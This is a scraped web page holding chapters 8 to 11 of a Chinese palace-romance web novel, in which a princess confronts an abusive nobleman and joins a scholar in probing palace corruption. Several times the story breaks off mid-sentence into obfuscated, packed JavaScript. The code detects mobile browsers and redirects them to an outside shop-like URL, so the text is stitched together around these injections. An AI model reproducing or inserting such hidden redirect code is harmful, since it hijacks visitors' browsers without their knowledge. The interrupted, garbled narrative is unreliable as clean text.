d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689087|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合帝姬用来滋补。” 她并未直言要直接将方子送给沈悠然,毕竟是药三分毒,御医开方子尚且要会诊,她可不想好心做坏事,没得再伤了帝姬尊贵的身子。 这般妥帖细致,让沈悠然新生好感。 “林娘子有心了,本宫已经无碍,切莫费心挂念。” “倒是林娘子……可还好?” 沈悠然脑子里尽是她那日浑身湿淋淋脸色惨白的模样,像是那些精怪画本子里从水里钻出来水鬼一样。 林宛想必也是想到了那日,嘴角笑意收敛了几分。 她起身,朝着沈悠然行了个朝拜礼。 吓得沈悠然立马起身,想要扶她起来。 但却被她按住手腕拒绝了。 “帝姬莫要阻我。” “那日若非帝姬相救,我与腹中胎儿怕早已是护城河底的两抹亡魂,今日更别提能跪在这里感谢帝姬恩德,此为第一恩。” “妾身因他人过错,被猪油糊了心,竟以为死是解脱,做出这等亲者痛仇者快的傻事,索性老天怜惜,得帝姬教诲,幡然醒悟,此为第二恩。” “妾身感激涕零,帝姬若有任何差遣,妾身当以命相报。” 沈悠然脸色讪然,教诲算不上,叱骂还差不多。 她与林宛,也不过一面之缘。 春耕日的时候,她趁着父皇母后去宣阳城郊慰农的功夫,一个人溜出去玩,意外在护城河边发现一女子意欲投河自尽,周围也没个侍卫侍女相助,只好自己纵身跃入河中,将那女子拉了回来。 二人交谈中,沈悠然得知这女子已然怀有三个月身孕,却因意外发现自己的夫君和庶妹背着自己悄悄有来往,三方对质之时,竟被斥责是因为自己不够温柔小意,比不得庶妹,更骂她善妒,为女子之耻。 她一时想岔了,才做出寻短见这种傻事。 沈悠然在一旁听着,原本因河底湿冷而有些瑟瑟发抖的身子顿时冒出一股无名火。 她骂这女子夫君、也骂她的庶妹。 还骂这女子懦弱,明明是她夫君和庶妹的错,偏偏要自己惩罚自己;骂她若真是要自戕,不该选择投河,因为脑子里的水已经够多了。 也骂这女子愚钝,若是真的寻死了,死后也要背着那男子亡妻的身份,被困于他家祠堂不得安宁。 那人,就是眼前的林宛。 沈悠然明白,自己若是不受了这个礼,她会于心不安。 礼毕之后,马上让她起了身。 “那你如今,是如何了?”沈悠然好奇一问。 林宛双眼泛红,待得平静了些,才再度开口。 “妾身得帝姬指点,已然让父母做主,同那狼心狗肺的东西和离,腹中胎儿亦与他家毫无瓜葛。” “至于我那庶妹……我与母亲也曾给过她机会,若她能醒悟过来今日那人能在她面前斥责皆是我的过错,日后定会因为旁的女子来嫌弃她,我林家也不会为了遮羞放弃她。” “但她只道二人是真情难抑,便随她去了。” 沈悠然倒是没想到她也有如此魄力。 正当她如此感叹的时候,亭外又传来了吵闹的动静。 不等她看清怎么回事,就看见一个男子快步蹿至自己眼前,怒目圆睁地盯着自己。 “贱人!” 8. 第 8 章 沈悠然活了十七年,别说自己挨这种骂了,就连听都未曾听过这种污言秽语。 青黛也是被如此惊世骇俗的二字吓得都脑子都空了。 “你你……”她结巴了两句,才渐渐找回思绪,“放肆!哪里来的大胆狂徒!” 林宛也吓得脸色铁青,蹭地一声站了起来。 “成玉泽,你发的什么疯!你可知道这是……” 林宛口中的成玉泽此时气得双目泛红,直勾勾地沈悠然,一把推开了林宛。 眼见着林宛就要因为站不稳而撞上石凳边沿,沈悠然伸出手去拽她的同时,也拉进了和成玉泽的距离。 成玉泽眼疾手快地抓住沈悠然的发尾,冲着她愤怒地大喊。 “我道为何宛娘一心要同我和离,竟是有小人在撺掇!” “你究竟有何居心?毁人姻缘可是损阴德的!你当真不怕死后下地狱?” “你是何人,是冲着成家来的?还是冲着我来的?又或者说我没了正妻,这样你……” 他上下打量着沈悠然,像是在看沿街叫卖的小摊贩担子里的货品。 尽管他已经在刻意掩饰了,但还是被沈悠然瞥见了那种先是惊艳,而后变得肆无忌惮又莫名自信的目光。 自己的发丝还被他拽在手心,沈悠然只觉得自己像是被阴沟里的蛆虫缠上了。 她当即对着成玉泽的脸甩了一巴掌去。 沈悠然没有说话,只是打他的功夫,都觉得恶心。 她让青黛去叫护卫来将这个人捆了,扔进护城河里冷静冷静。 青黛有些担忧,不敢将沈悠然独自留在这里,但却被沈悠然一个眼神支开了。 大庭广众之下,谅这人也不敢如何。 他不嫌丢脸,沈悠然还嫌和他扯上什么关系,丢了自己的颜面。 成玉泽也是没想到眼前这个女子竟敢对自己动手,捂着脸发起了愣,根本没发现少了一个小小侍女。 他只是陷入了新的气急败坏中,举起手来就要打回去。 林宛吓得快要丢了三魂七魄,唯恐因为这个蠢笨如猪的男人,连累了自己家。 她此时也顾不得什么颜面和规矩,只埋着头冲了过去,直接一头撞上成玉泽的小腹。 “宛娘?你疯了?” 成玉泽之前用了两盏酒脚下虚浮,再加上林宛是怕急了被成玉泽连累,用尽了全身的气力。 他此时被撞得踉跄两步,后背撞在亭子周围的石柱上,龇牙咧嘴地捂着后背轻揉着。 三番两次被女人动手打了,成玉泽觉得她们彻底疯魔了。 虽然平日宛娘也不是温柔体贴的类型,但至少也是恪守做妻子的规矩,何时敢对他这般动手动脚? 一定是这个女人,对,一定是她!是她蛊惑了宛娘! 面子和身体上的双重打击让成玉泽对沈悠然恨到了极点,也顾不得她的那几分姿色,只想让她好看。 “贱人,你是哪家的女子……啊、啊,疼……谁!” 顺着成玉泽的手腕,沈悠然看见一双骨节分明的手,后半截隐入墨绿之中。 再往后是青黛和沈煦急匆匆赶来的身影。 青黛不是刚刚才走吗?这么快就搬来了救兵? 沈悠然有些疑惑。 成玉泽捂着被石子击中的手腕,恼怒地转过头去,“谁人竟敢放暗器偷袭本……太子?” 等他回过神来,立马行了个礼,向着沈煦赔罪。 “我、不是说我是太子的意思,太子勿怪。” “在下成玉泽,乃兵部侍郎成左峰之子,给太子殿下请安。” “殿下,在下有事要禀告,有人在宣阳城中造口舌之业,撺掇在下发妻同在下合和离……” 谁料沈煦看都没看他一眼,径直冲向那个他认为疯了的女人身边。 “昭懿!可有受伤?”沈煦拉着沈悠然来回转着,生怕她身上看见什么伤。 看到沈煦的关切目光,沈悠然换上一副委屈表情。 “哥哥,我头发都断了好几根。” “还有手,手也疼。” 她闭口不提手疼是因为打人,故意使坏。 严晟扫了一眼成玉泽脸上的巴掌印,没有说话。 听清了沈煦喊的封号,再加上沈悠然撇着嘴喊的那声“哥哥”,成玉泽只觉得浑身一阵冷汗,扑通一声跪在地上。 双膝与青石相撞,发出清脆声响。 “帝……帝姬殿下!” “在下、不……小人有眼不识泰山,冲撞了帝姬,还请帝姬看在小人醉酒的份上,原谅小人吧!” “是、是……是林宛,是林宛她有辱门风,小人被愤怒冲昏了脑子,才会……” 沈悠然看着几近蜷缩的成玉泽,转头看了眼林宛。 “你的目光,可真够差的。” 语气淡淡的,明明不带嘲讽,却让林宛羞得无地自容。 她护着肚子,看了眼跪在地上冷汗直冒的男子,又想起了那个被护城河水浸得浑身湿透的春日。 想到自己为这样的人寻死觅活,林宛狠狠地扇了自己一巴掌。 这不扇不要紧,一扇,立马让沈煦警惕地看着这个行为怪异的陌生女人,担心是两人做局想要害沈悠然。 “来人,将这二人带回去细细审问。” 沈悠然摆摆手,“哥哥,不管林娘子的事,是那个成什么的对我出言不逊。” “也不用审了,事情就是表面的这般,他喝醉了,调戏我,让人把他赶出去就好了。” 若是再调查一番,少不得还要把林宛的事翻出来,既是这种所嫁非人的丑事,也不好再闹得沸沸扬扬了。 沈煦觉得不够,皱着眉还想要再说两句。 怕被怪罪,跪在地上的成玉泽忙不迭地谢恩。 “多谢帝姬宽宥!小人这就、这就走!” 他手脚并用想要挣扎着从地上爬起来。 但因为紧张,手心不知何时蓄了一层薄汗,撑在青石路上有些打滑,摔了一跤才站起来,灰溜溜地准备走。 “等等,”沈悠然突然叫住了他,“你说你是兵部侍郎成左峰之子,对吧?” 成玉泽从未有哪一刻像现在这般,后悔在外报了自己的家门。 “行,明日我就让父皇给你成家赐字,就赐个……”沈悠然歪头想了想,“就赐个,家风严谨,如何?” 皇帝亲赐墨宝,放在别家,那肯定是莫大的荣耀。 但对于成玉泽来讲,只是一把悬在头顶的利剑。 外人不知前因后果,定会好奇他成家的家风到底严谨到了何种地步,周遭的探究将会成为对成家的监视。 若有一日成家行差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈悠然今天穿的是一身荷叶绿的长裙,兴许是因为要出行,并未像那日在栖梧宫那般环珠佩玉,只带了一串东珠耳坠。 每每当她晃动着脑袋的时候,耳坠也跟着微荡。 跟在护城河边那日的打扮极为相似。 沈悠然听到沈煦的话,心里腹诽着,定是不要让严晟看见自己那日像是落汤鸡一般的狼狈模样。 这样一想,她不自觉地用手顺着自己的发尾,低头打量起了自己的仪表。 该死,裙摆什么时候蹭上了一团脏污? 一定是那个成玉泽!拉扯之中给自己碰上的! 沈悠然本就不想久留,现下心中带着气,饭也不想吃了,直言要回宫。 在一旁战战兢兢怕被迁怒的林宛走也不是,留也不是。 “你回去吧!”沈悠然语气也好不起来,“回去好好养胎,离了这个人,你当快活才是。” 林宛顿时眼底蓄起了泪,是真真切切地感激这位救过她一命的帝姬。 她站在亭子中,目送三人离去。 或许是被泪水糊了眼,她竟觉得其中一人的背影,好似在哪见过。 9. 第 9 章 顺宁郡主听见有人在自己的生辰宴上胡闹的时候,气得差点没把指甲捏断。 “成家的公子是吧?跟谁一道来的?成二小姐?”她斥责起了簇拥在她身侧的成二小姐,“你哥哥这般蠢笨的,竟也敢带到本郡主的宴会上来?” “来人啊,把成二小姐给我请出去!往后我靖王府的帖子,可别往成府送了!” 那位成二小姐脸色顿时又红又白。 红因为羞得,被顺宁郡主这般大庭广众之下斥责,她只想找个地缝钻进去。 白是怕除了这档子事,回家后看到一定要面对父亲母亲的盛怒。 本来哥哥和背靠着忠义伯府的嫂嫂和离一事就惹得父亲不快,狠狠打了一顿之后将他禁足在家,这下若是被父亲知道自己带哥哥来赴宴,怕是自己也逃不了一顿责罚。 母亲是绝计不会让哥哥娶一个庶女为正妻的,哪怕只是个继室。 可成家上下都知道,哥哥是个好颜色的,非要选个自个儿看得下去的女子,母亲也拿哥哥没办法。 只好趁着今日顺宁郡主的生辰宴,让哥哥自己来看看可有心仪的姑娘。 等母亲知道闯了这么大的祸,定要责罚自己没有看好哥哥。 这下别说是想要收到靖王府的帖子了,怕是其他家,也会忌惮今日之事,不敢再随便让自己上门,怕得罪了顺宁郡主。 成二小姐想着家中父母的反应,害怕得快要掉下眼泪来。 她想要向顺宁郡主解释一番,又怎么都开不了口。 或许是因为在庄太后身边养大,沈沁发起怒来,和庄太后有两分神似。 成二小姐不敢再言,只得红着眼圈,灰溜溜地走了。 因着沈沁觉得丢人,没再拦着沈悠然走。 妹妹被蠢人坏了兴致,沈煦也不会再留。 而本就是卖沈煦面子才来的严晟,更是没了留下的道理。 一想到自己请来的客人做了这种事,她只觉得面上无光,连严晟跟着走了都没再提起心思同他好好道别,只惦记着往后沈悠然会不会就这件事对她多加嘲笑。 来的时候,沈煦和严晟二人从书院出发,郊外的道上人烟稀少,哪怕是纵马疾行,也不用担心撞到人。 但从靖王府回宫,无论是走长兴街还是望兴街,走的是宣阳城的主路,即便是骑马也只能慢悠悠地像是踏青。 沈煦不愿引起旁人围观,好在沈悠然的马车够大,他索性躲了个懒。 临上车前,他还特意问了一遍严晟。 “阿晟,可要一起?” 虽说是帝姬座驾,但沈煦和严晟的关系,讲君臣之礼未免太过生疏。 他又怎好一人乘马车,留好友骑行,倒像是把他当做了侍卫一般。 严晟思考了半息,点了点头。 “我与殿下时常同出同入,若是被人瞧见我在帝姬马车旁边,料想旁人也会猜测殿下在此。” 沈煦拍了拍他的肩。 “阿晟总是这般面面俱到。” 看着两人在外面磨磨蹭蹭地,沈悠然忍不住嘟着嘴。 “你们二人若是要上演什么兄弟情深,大可在东大街搭个戏台子,到时候我还可以洒些银钱请人来看,让你们好好热闹一番,可好?” 普天之下,敢这般调侃沈煦的,估计也就只有沈悠然一人了。 沈煦无奈笑笑,一脸宠溺地向严晟解释。 “父皇和母后,对昭懿很是宠爱,所以才惯得娇纵了些。” 严晟言语客气,“帝姬率真,算不得娇纵。” 沈煦摸摸鼻梁,也不知道这好友这话,是真心实意,还是客套话。 甫一进马车,沈煦就摸了摸沈悠然的头,低声安慰。 “别气了,哥哥替你收拾成玉泽便是。” 严晟上了马车后,就很自觉的坐在了最靠近车门的位置,和沈煦在同一侧。 都不用侧目,他就能看见沈悠然头上戴的那只金钗凤蝶。 因为生气,沈悠然时不时晃动着脑袋,蝶翼也随之轻颤。 他连忙错开眼,低头看向桌上的东西。 一碟子杏仁酥,只两根指节大小,别说是果腹了,怕是过瘾也不够。 想来也只有宫中的御膳房会做得这么精巧。 “成玉泽从前在书院中,同安信侯世子交好。”严晟蓦地出声。 沈悠然眉毛一挑,也顾不得不高兴了,“安信侯世子?” 好端端的,提安信侯世子是何意? 她向来和自己这个便宜亲戚家没什么来往,只是总觉得最近似乎总是听到“安信侯”的名号。 沈煦可是立马就明白了严晟的意思。 “阿晟,你还不肯放弃?” 不似刚刚安慰沈悠然那般轻言细语,沈煦眉头轻皱着,语气低沉。 这下,沈悠然一扫之前的气闷,彻底来了劲。 “什么放弃?放弃什么?”她一个劲儿地想要追问出来龙去脉。 沈煦只觉得头疼,但也没瞒着沈悠然。 “还记得之前马场采买的事吗?我和阿晟往下查了查,发现那个管事,是罪臣之后。” 沈悠然恍悟,难怪她之前还好奇,为什么安信侯的小妾,会有一个当内侍的哥哥。 大盛从前是有犯了罪会将家中男子收作内侍、女子充作宫中侍女或发卖给舞坊的先例。 只是盛兴帝即位后,觉得这样对于罪臣家中那些一无所知的家眷来说无异于是无妄之灾,已经很久没有用过这项刑罚。 沈悠然这才一时之间没有记起。 只是若是罪臣之后的话,只能做些例如换洗打扫之类的活计,断不能在贵人面前露脸,更不可能会有一官半职的。 那人又是怎么去马场当一个管事的? 她盯着严晟,问出了她的猜测。 “难道,安信侯竟能干预宫人派遣?” 刚一说完,她就摇了摇头自己否定了这个说词。 “安信侯自个儿进宫尚且需要过明路,进了宫也不可随意走动,想要插手宫中事宜,简直难于登天。” 虽然安信侯是太后亲侄,但整个皇宫,姓沈不姓庄。 “前些日子我们就已经将事情告知了父皇。翌日皇祖母就当着我和父皇的面,说此事已然命人查清。是那个内侍醉了酒在宫中宣扬,说自己有个在安信侯府里当妾室的亲妹妹,内侍监的人查明确有此事后,为了巴结安信侯,自作主张给了这个内侍一个富贵。”沈煦解释道。 沈悠然不疑有他,这倒是符合内侍监里那些人趋炎附势的性子。 “虽然此事和安信侯无关,但皇祖母也不想让母家陷入这种事中,当即惩处了内侍监的管事,又将安信侯招进宫训斥了一番,让他管好后宅之事,事情也就到此为止了。” 既然事实真如因此,那严晟又何必再提。 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689089|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠然一脸“别把我当傻子忽悠”的表情,等着沈煦或是严晟再往下继续说。 其实沈煦和沈悠然兄妹二人,眉眼间能看得出来是兄妹,但是单论气质,又有些许不同。 沈煦遗传了母亲的温柔和煦,沈悠然却有几分盛兴帝的凌厉。 她此番板着个脸,虽不至于让二人发怵,但到底还是没把她再当个小姑娘看待。 “阿晟怀疑,宫中有人收受银钱,卖官鬻爵。” 沈悠然握着玉瓷盏的手腕微颤,神情一变,“此话当真?” 宫中有人攀附权贵事小,卖官鬻爵可是要掉脑袋的大事。 如果真是为了贪墨银钱倒也罢了,可如果因为这样,让藏有别样心思的人到了父皇母后或者哥哥的面前…… 沈悠然不敢细想。 严晟掏出手帕,擦去了桌上微漾出来的水渍,沉默了好一会儿。 “不知真假,只是怀疑。” “据殿下所说,安信侯激励撇清自己跟这件事有关,态度言辞坚决,大有如若太后和陛下不信,宁可撞柱而亡以证清白的势头。” “可据我所知,安信侯并非这等忠烈之士。” 并非忠烈之士。 严晟用词委婉,沈悠然可知道他是何意。 安信侯此人,说得好听叫识时务,说得难听,就叫贪生怕死。 说自己与此事无关是正常的,但如此激烈地辩驳,反倒欲盖弥彰。 沈煦揉了揉太阳穴,“或许安信侯是真的不知情。” 凡事讲究证据,但是因为安信侯的反应就要问罪,立不住脚。 严晟说了句让沈悠然摸不着头脑的话。 “殿下,真的想看到大盛这般吗?” 沈煦垂眸,叹了口气,“我已让人加紧严查,看看宫中是否还有这等事情,更是让内侍监上交登记的册子,不会再有来路不明的人出现在宫中。” 话题戛然而止,二人不约而同地选择了避之不谈。 沈悠然目光在两人身上来回转,但也知道既然严晟选择了打哑谜,此时是问不出来什么的。 但心底还是止不住的担忧,就怕有歹人混进宫中。 最后还是车门外赶车的小倌,打断了一室的静谧。 “殿下,前面是分岔路,我们是要走长兴街,还是望兴街?” 严晟回府中的路,走望兴街是最快的。 若是从长兴街回宫,要再送严晟,少不得多耽搁些时辰。 沈煦心里在盘算着,是严晟替他做了决定。 “走长兴街。” 沈悠然挑了挑眉。 “哥哥,听说长兴街上新开了个糕点铺子,好不容易出来一趟,我们去买些回宫吧!” “呀!我记得嫂嫂家就在长兴街对吧?真是可惜了,嫂嫂近日出不了门,即便离得近,新开的铺子也尝不了呢。” 沈煦抿了抿唇,装出一副不在意的样子。 “你若是惦记朝暮,待会儿路过蔺府,让门房捎些进去也无妨。” 沈悠然乐得吱吱笑。 “我不想动,哥哥待会儿帮我去送,可好?” 闹归闹,善解人意的本事,她还是有的。 等到沈煦下了车后,她躲在帘子后看热闹。 就像是在谈论今日天气一般,随意地朝着门口那个恨不得坐到车夫位置的男人问了句话。 “你是不是想查内侍监?” 10. 第 10 章 “只要你带着本帝姬查,本帝姬也不是不能帮你!”沈悠然道。 严晟下意识拒绝,“不行。” “若此事真如在下预测的那般,那背后一定牵扯众多,昭懿帝姬冒然插手,怕是会惹来麻烦。” 能够在宫中这种阶级森严的地方搞小动作,定不是几个小小内侍敢做的事。 况且现在只是猜测,毫无证据,连敌人是谁都不清楚。 严晟是真不敢将这位帝姬拖下水。 沈悠然抿着唇,眼角向下耷拉着,语气带着明显的低落。 “本宫、我……也只是……只是想要替父皇分忧罢了。” “父皇在我和母后面前,总是不提烦心事,但我也曾见过父皇孤身一人叹气的样子。” “我……很心疼父皇。” 越是说到后面,她的言语里竟好像带了丝哭腔。 原本是撑头看向严晟,此时也变成了垂着头盯着自己的脚尖。 严晟莫名心软,内心正在天人交战。 他是想要查下去的,但仅凭他一人,不用想也知道是困难重重。 光是那一道宫门,就能让钳制住他的手脚。 如果有宫中的人相助…… 不行,不可将一个小姑娘牵扯进来。 就在这时候,沈悠然试发出一声呜咽,听起来像是在偷偷哭泣。 “那往后,若是有需要昭懿帝姬的地方,还请昭懿帝姬相助。” 话刚说完,严晟就有些后悔,只叹自己兴许是头脑发热。 沈悠然也是怕他后悔,立马仰起头,脸上哪有半点失落,只剩下小计谋得逞的沾沾自喜。 “以后有进展了,你需得一五一十地告诉本帝姬!” 严晟哪还不明白,他这是被她骗了。 担心应当是真,但哭腔却是迷惑人的把戏。 想来这不是她第一次这般以退为进了,才能把这一手本事玩的这么熟练。 见他久久不言语,沈悠然怕他是真的后悔了。 她强行扯过严晟的右手,和他来了个击掌为誓。 “就这么说定了!” 严晟像是觉得烫手一般,默不作声地收回手背在身后。 右手握拳,用指尖摩挲着掌心,似是拿她没有办法,微不可闻地应下了。 “对了!”沈悠然歪过头看他,“你知道沈沁喜欢你吗?” 话题转换的如此之快,足以见得方才不过是她的小把戏。 “昭懿帝姬,不可妄言,有损郡主声誉。” 沈悠然笑着往前凑,“你不说,我不说,怎会影响她声誉。” “还是说,你打算在外头宣扬?” 严晟剑眉轻蹙,脸色不虞。 “在下并非那等背地里说闲话的小人。” “只是在下同郡主并无私交,不知是何处传出来的谣言。” 沈悠然也曾见过严太傅的。 彼时的她不过七八岁,有一日吵着要同沈煦一道去上学,赵皇后怎么劝都没办法。 沈煦也只好带着这个妹妹去了严府。 谁料,短短一刻钟内,沈悠然就哭了三次。 俱是被严太傅吓得。 严太傅身形清瘦,并非那中一见就让人发怵的壮硕体格。 只是他五官凌厉,哪怕是最平常的神情,看起来也是板着一张脸,像是在同人置气。 更遑论严太傅这人,论起学问来,总有一种文人的清高与坚持。 哪怕是皇子,只要犯了错,也会被他斥责。 此刻,沈悠然也在严晟脸上,见到了这种表情。 但她已经不是那个动不动就被吓哭的小姑娘了。 沈悠然撇撇嘴,反正对于严晟的答案,她也无所谓。 “那我换个问题。” “为什么你叫沈沁,就是郡主,叫本帝姬的时候,就要带上封号呢?” 大盛朝如今,只有一位帝姬,就是沈悠然。 哪怕是盛兴帝的姊妹,称号也是长公主,而非帝姬。 反倒是郡主,和沈悠然同辈的只有沈沁一人,但沈悠然还有几位叔伯姑姑,按例也得唤做郡主,只不过并没有居住在宣阳城中。 真要论起来,也该叫沈悠然帝姬,而叫沈沁为顺宁郡主,这样才不会让人误会说的是哪位。 “帝姬不喜在下这般称呼?”他转过头盯着她,轻声问,“若是不喜,那便直接称呼为帝姬。” 沈悠然单手支在膝盖上,在思考。 老实说,沈悠然更喜欢听他叫自己,昭懿帝姬。 咬字清晰,音色勾人。 “不用改了,昭懿帝姬比郡主字数多,能够压上沈沁一头。”她道。 真是奇奇怪怪的胜负欲,严晟忍不住笑。 但又怕沈悠然看出来,只得看了眼马车外面,此时的沈煦一手搭在腰上,抬着另一只手遮遮掩掩捂着口鼻,还在排队买那什么新开铺子的糕点。 二人都有小厮,但小厮各自牵着马回府了,并不在身边,倒是给了沈煦亲力亲为的机会。 “还有最后一个问题!” 沈悠然猛地凑过来,竖着一根食指横亘在两人中间。 因为动作太快没能收住力度,她的食指就快要贴上严晟的鼻尖。 严晟立马错开眼。 “昭懿帝姬这是,把在下当做解惑的先生了?” 沈悠然下意识重复着他的话。 “先生?” 声音轻柔带着笑,明明是个敬称,却毫无尊重的意思,倒像是调侃。 “昭懿帝姬想要问什么?” 沈悠然收回手,双手撑着头,看起来单纯又无辜。 “那你喜欢什么样的姑娘?” * 一回到马车旁的沈煦,见到的就是严晟紧闭着唇靠在窗边,似是闭目养神。 旁边还有只叫做沈悠然的小鹦鹉,还在叽叽喳喳。 “说说嘛。” “我又不告诉别人。” 沈悠然问不出结果,但也没有丝毫不愉快,还笑嘻嘻地调侃着沈煦。 “啊,哥哥这么快就回来了呀!我还以为哥哥再怎么也要在门口当上半刻钟的望妻石呢。” 沈煦恼羞成怒,“那这一盒,你就别吃了!” 沈悠然这才看见他右手上提溜着的一盒用红绳捆起来的点心盒子,上面用红底金墨写着“寻味斋”三个字。 “就知道哥哥不会忘了我!”沈悠然喜滋滋接过点心盒子。 沈煦松了口气,在心里感叹果然还是得用吃的东西才能堵住她的嘴,正想要上马车的时候,又听到她补充了一句。 “放心吧哥哥,既然你都拿糕点收买我了,往后我一定会在嫂嫂面前,替你多多说好话的!” 沈煦吸了口气,看来这丫头就没有不拿他开涮的那一天。 索性不再去接她的话。 “阿晟,可是昭懿同你玩闹,让你做什么了?” 自个儿这个妹妹是什么性子,沈煦再清楚不过了。 即便是在挚友面前,他也不会去揭妹妹的短,三言两语就点名她不过是贪玩爱闹。 “昭懿帝姬不过是和在下……” “我问他要不要当我的驸马!” 沈悠然半是认真半是玩笑的话,惊呆了在场两个男子。 “皎皎!你胡乱说什么呢!” 沈煦恨不得去捂住她的嘴,让她把话都吞回去。 堂堂帝姬,在外头问一个男子要不要当她的驸马,这种话要是传出去了,怕是玩笑都能传成真的。 严晟嘴唇微微抖动,三番两次想要开口,却都没有说出话来。 沈煦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689090|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只当他是被惊得不知该说什么好。 “阿晟是不会当驸马的。” 沈煦语气笃定。 沈悠然收起好奇,往马车最里侧坐,嘴上无所谓的嘟囔着。 “我也是听旁人说,若是想要知道一个人是不是好人,那便问问他的朋友是否愿意让自己的姐妹嫁给他做妻子,我一时兴起想要试试罢了。” 沈煦松了口气,也不知道沈悠然是从哪里听到的这种言论。 “阿晟当然是好人了。” “只不过,阿晟是不会当驸马的。” 他又重复了一遍。 沈悠然一口气堵在心里,语气也没方才那般好,指着严晟问为什么。 “可是你瞧不上本帝姬?” “本帝姬长得不够好看?” 严晟双手交叠着行礼,不去看沈悠然的脸。 “在下,志不在此。” “那你志在何处?”沈悠然步步紧逼。 严晟本想沉默以对,但偏偏就…… 偏偏就控制不住。 “昭懿帝姬,在下志不在做驸马。”他又答。 他就这般低喃着,也不知道是在说给沈悠然,还是说给谁听。 沈悠然原本也只是试探,得了他的两次拒绝,顿时也来了气。 “你等着,本帝姬总要让你以此为志!” 强扭的瓜又不是没吃过。 就算是歪瓜裂枣还能解解渴呢,况且严晟看起来还是远胜于那些歪瓜裂枣的。 沈悠然赌着气撇向一旁,迷迷糊糊之间竟打起了瞌睡,就连到了严府门口,也不见她醒。 沈煦和严恒一道下了车,拍了拍他的肩。 “我妹妹就是性子爱闹了些,从小就要强,凡事非得要挣个自己高兴,并非恶意。” “她还小,不过是玩笑话,指不定过几日就将这件事忘了,阿晟不必为此苦恼。” 严晟看了眼马车紧闭的车门,“但愿吧。” * 沈沁今年的生辰过得不大愉快。 自沈悠然走后,沈沁总觉得自己一腔的威风无处耍,再怎么热闹的猜谜和戏曲也觉得没劲儿,早早就让人散了场。 等到夜幕降临的时候,她的侍女从门房那边收到了一封信,说是宫里递出来的。 沈沁直觉这是沈悠然写信来嘲笑自己,气鼓鼓地扔给了一旁的侍女,让她读信。 婢女颤颤巍巍地撕掉封口,发现信纸上只写了一行大字。 “你喜欢、喜欢……” 听着她半天没有下文,沈沁不耐烦,一把扯过书信。 “你又不是不识字,有什么读不出来的?” “你喜欢严晟吗?” 沈沁的脸猛然胀红,心虚地把手中的信纸往书桌上一扔。 “什么东西?” “这人,莫不是写信来嘲我?” 信纸滑落在地的时候,沈沁瞥见后面还有另一句话。 “你现在肯定以为我是在嘲讽里,放心,我可没那么无聊。” “来信不过是想问清你的心意,倘若你也喜欢,那我就不同你争抢罢了。” 又是这般,又是这般。 沈沁咬咬牙,心中满是不悦。 小的时候,每每听见盛兴帝和赵皇后同沈悠然说要让着自己,沈沁总是会得意,但逐渐长大之后才发现,沈悠然的每次谦让,不过是长辈们怜悯她年幼失母又不得父爱罢了。 她才不要沈悠然的让步呢。 翌日一早,不用给母后请安,也不用去庄太后那里听规矩,沈悠然又睡了个自然醒,一睁眼,她就看见梳妆台上放着一封信。 她赤着脚下床,依着台面打开了信。 上面的字迹潦草,想来字的主人定时情绪不平静。 “有本事就让严晟喜欢你。” 11. 第 11 章 盛兴帝是个不太一样的皇帝。 储君的教导是关乎国家的大事,大盛朝历经数百年来,按照祖制度,太子或者其他受重视的皇室子弟启蒙之后,会额外聘请世家大儒做先生,在宫中单独设有宫殿作为授课处。 但盛兴帝认为,这样的教育根本不足以让一国储君学到如何治理国家,若只是拘在宫殿之中学到的东西,到底能不能用到百姓身上? 于是他便下了令,让沈煦每日去宫外的集英书院,再听两三个时辰的课。 一则上课,二则亲民。 集英书院在宣阳城郊,原是百年前的一位致了仕的宰相为了族中子嗣所创办。 初时规模并不大,只能算得上是私塾。 后来,周遭的达官贵人们得知是老相爷亲自授课,托了关系也要将家中子弟送进来听听课。 城郊的农户们也厚起脸皮驮着孩子趴在墙外偷听。 老相爷心怀传道受业解惑的大志,无论贵贱,来者不拒。 贵人们感谢老相爷之恩,见老相爷说什么也不收束脩,便只好将银子都投在书塾中。 附近的贫苦百姓们也表示愿意让地出来建书院,给孩子们读书。 就这么历经了百来年,才有了如今这颇具名望的集英书院。 除了被寄予厚望的皇子,昭懿帝姬在集英书院也是有一张书桌的。 只是书院与宫中实在相距甚远,早起对于沈悠然来说犹如噩梦。 虽然贵为帝姬,但她也不能日日迟到乱了书院规矩,又不像沈煦沈照和严晟那般有正当理由晚到。 后来盛兴帝就做主,为她找了几个女先生,日日在宫中学习就好。 